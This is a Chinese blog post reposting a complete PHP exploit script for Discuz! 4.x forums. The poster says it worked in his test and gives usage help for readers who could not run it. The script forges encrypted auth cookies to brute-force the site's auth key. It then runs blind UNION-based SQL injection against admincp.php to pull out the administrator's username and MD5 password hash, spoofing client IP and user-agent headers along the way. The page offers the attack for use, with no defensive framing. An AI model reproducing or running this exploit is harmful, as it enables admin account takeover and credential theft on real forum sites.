侯体宗的博客
  • 首页
  • Hyperf版
  • beego仿版
  • 人生(杂谈)
  • 技术
  • 关于我
  • 更多分类
    • 文件下载
    • 文字修仙
    • 中国象棋ai
    • 群聊
    • 九宫格抽奖
    • 拼图
    • 消消乐
    • 相册

Discuz! 4.x SQL injection / admin credentials disclosure exploit

数据库  /  管理员 发布于 5年前   182

前段时间发过Discuz! 5.0.0 GBK版本的EXP
今天在CN.Tink那里看到的4.x的,我去原站转了过来,然后找了个Discuz! 4.1.0测试了一下,成功,看下面截图,Discuz! 5.0.0 GBK版本的那个EXP又许多朋友不知道怎么用,当时我说了下,还是有朋友不明白,这次我截了图上来,不知道怎么用的朋友看下应该明白的。
图:

复制代码 代码如下:

<?php
print_r('
---------------------------------------------------------------------------
Discuz! 4.x SQL injection / admin credentials disclosure exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dork: "powered by discuz!
---------------------------------------------------------------------------
');
if ($argc<3) {
 print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to discuz
Options:
 -p[port]: specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80
php '.$argv[0].' localhost /discuz/ -p81
---------------------------------------------------------------------------
');
 die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
 $result='';$exa='';$cont=0;
 for ($i=0; $i<=strlen($string)-1; $i++)
 {
 if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
 {$result.=" .";}
 else
 {$result.=" ".$string[$i];}
 if (strlen(dechex(ord($string[$i])))==2)
 {$exa.=" ".dechex(ord($string[$i]));}
 else
 {$exa.=" 0".dechex(ord($string[$i]));}
 $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
 }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
 global $proxy, $host, $port, $html, $proxy_regex;
 if ($proxy=='') {
 $ock=fsockopen(gethostbyname($host),$port);
 if (!$ock) {
 echo 'No response from '.$host.':'.$port; die;
 }
 }
 else {
 $c = preg_match($proxy_regex,$proxy);
 if (!$c) {
 echo 'Not a valid proxy...';die;
 }
 $parts=explode(':',$proxy);
 echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
 $ock=fsockopen($parts[0],$parts[1]);
 if (!$ock) {
 echo 'No response from proxy...';die;
 }
 }
 fputs($ock,$packet);
 if ($proxy=='') {
 $html='';
 while (!feof($ock)) {
 $html.=fgets($ock);
 }
 }
 else {
 $html='';
 while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
 $html.=fread($ock,1);
 }
 }
 fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
 $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
 $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "please wait...\n";

//from global.func.php
function authcode($string, $operation, $key = '') {
 $key = $key ? $key : $GLOBALS['discuz_auth_key'];
 $coded = '';
 $keylength = 32;
 $string = $operation == 'DECODE' ? base64_decode($string) : $string;
 for($i = 0; $i < strlen($string); $i += 32) {
 $coded .= substr($string, $i, 32) ^ $key;
 }
 $coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
 return $coded;
}

//stolen from install.php
function random($length) {
 $hash = '';
 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
 $max = strlen($chars) - 1;
 mt_srand((double)microtime() * 1000000);
 for($i = 0; $i < $length; $i++) {
 $hash .= $chars[mt_rand(0, $max)];
 }
 return $hash;
}

$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
 $discuz_auth_key=random(32);
 $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
 $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
 $packet.="User-Agent: $agent\r\n";
 $packet.="Host: ".$host."\r\n";
 $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
 $packet.="Accept: text/plain\r\n";
 $packet.="Connection: Close\r\n\r\n";
 $packet.=$data;
 sendpacketii($packet);
 $html=html_entity_decode($html);
 $html=str_replace("<br />","",$html);
 $t=explode("AND m.password='",$html);
 $t2=explode("' ",$t[1]);
 $pwd_f=$t2[0];
 $t=explode("AND m.secques='",$html);
 $t2=explode("'\n",$t[1]);
 $secques_f=$t2[0];
 $t=explode("AND m.uid='",$html);
 $t2=explode("'\x0d",$t[1]);
 $uid_f=$t2[0];
 $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
 if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
 break;
 }
}
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32; $j++){
 for ($i=0; $i<255; $i++){
 $aa="";
 if ($j<>0){
 for ($k=1; $k<=$j; $k++){
 $aa.="a";
 }
 }
 $GLOBALS['discuz_auth_key']=$aa.chr($i);
 $t = authcode($temp,"DECODE");
 if ($t[$j]==$my_string[$j]){
 $key.=chr($i);
 }
 }
}

//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS['discuz_auth_key']=$key;

echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
 for ($i=0; $i<=255; $i++)
 {
 if (in_array($i,$chars))
 {
 //you can use every char because of base64_decode()...so this bypass magic quotes...
 //and some help by extract() to overwrite vars
 $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
 $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
 $packet.="User-Agent: $agent\r\n";
 $packet.="CLIENT-IP: 1.2.3.4\r\n";
 $packet.="Host: ".$host."\r\n";
 $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
 $packet.="Accept: text/plain\r\n";
 $packet.="Connection: Close\r\n\r\n";
 $packet.=$data;
 sendpacketii($packet);
 if (eregi("action=groupexpiry",$html)){
 $password.=chr($i);echo chr($i);sleep(1);break;
 }
 }
 if ($i==255) {
 die("\nExploit failed...");
 }
 }
$j++;
}

echo "\nadmin user -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
 for ($i=0; $i<=255; $i++)
 {
 $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
 $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
 $packet.="User-Agent: $agent\r\n";
 $packet.="CLIENT-IP: 1.2.3.4\r\n";
 $packet.="Host: ".$host."\r\n";
 $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
 $packet.="Accept: text/plain\r\n";
 $packet.="Connection: Close\r\n\r\n";
 $packet.=$data;
 sendpacketii($packet);
 if (eregi("action=groupexpiry",$html)){
 $admin.=chr($i);echo chr($i);sleep(1);break;
 }
 if ($i==255) {die("\nExploit failed...");}
 }
$j++;
}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($password)) {
 echo "exploit succeeded...";
}
else {
 echo "exploit failed...";
}
?>


  • 上一条:
    最详细的SQL注入相关的命令整理 (转)第1/2页
    下一条:
    ASP.NET中实现根据匿名类、datatable、sql生成实体类
  • 昵称:

    邮箱:

    0条评论 (评论内容有缓存机制,请悉知!)
    最新最热
    • 分类目录
    • 人生(杂谈)
    • 技术
    • linux
    • Java
    • php
    • 框架(架构)
    • 前端
    • ThinkPHP
    • 数据库
    • 微信(小程序)
    • Laravel
    • Redis
    • Docker
    • Go
    • swoole
    • Windows
    • Python
    • 苹果(mac/ios)
    • 相关文章
    • 分库分表的目的、优缺点及具体实现方式介绍(0个评论)
    • DevDB - 在 VS 代码中直接访问数据库(0个评论)
    • 在ubuntu系统中实现mysql数据存储目录迁移流程步骤(0个评论)
    • 在mysql中使用存储过程批量新增测试数据流程步骤(0个评论)
    • php+mysql数据库批量根据条件快速更新、连表更新sql实现(0个评论)
    • 近期文章
    • 在go语言中使用api.geonames.org接口实现根据国际邮政编码获取地址信息功能(1个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf分页文件功能(0个评论)
    • gmail发邮件报错:534 5.7.9 Application-specific password required...解决方案(0个评论)
    • 欧盟关于强迫劳动的规定的官方举报渠道及官方举报网站(0个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf文件功能(0个评论)
    • Laravel从Accel获得5700万美元A轮融资(0个评论)
    • 在go + gin中gorm实现指定搜索/区间搜索分页列表功能接口实例(0个评论)
    • 在go语言中实现IP/CIDR的ip和netmask互转及IP段形式互转及ip是否存在IP/CIDR(0个评论)
    • PHP 8.4 Alpha 1现已发布!(0个评论)
    • Laravel 11.15版本发布 - Eloquent Builder中添加的泛型(0个评论)
    • 近期评论
    • 122 在

      学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..
    • 123 在

      Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..
    • 原梓番博客 在

      在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..
    • 博主 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..
    • 1111 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
    • 2017-06
    • 2017-08
    • 2017-09
    • 2017-10
    • 2017-11
    • 2018-01
    • 2018-05
    • 2018-10
    • 2018-11
    • 2020-02
    • 2020-03
    • 2020-04
    • 2020-05
    • 2020-06
    • 2020-07
    • 2020-08
    • 2020-09
    • 2021-02
    • 2021-04
    • 2021-07
    • 2021-08
    • 2021-11
    • 2021-12
    • 2022-02
    • 2022-03
    • 2022-05
    • 2022-06
    • 2022-07
    • 2022-08
    • 2022-09
    • 2022-10
    • 2022-11
    • 2022-12
    • 2023-01
    • 2023-03
    • 2023-04
    • 2023-05
    • 2023-07
    • 2023-08
    • 2023-10
    • 2023-11
    • 2023-12
    • 2024-01
    • 2024-03
    Top

    Copyright·© 2019 侯体宗版权所有· 粤ICP备20027696号 PHP交流群

    侯体宗的博客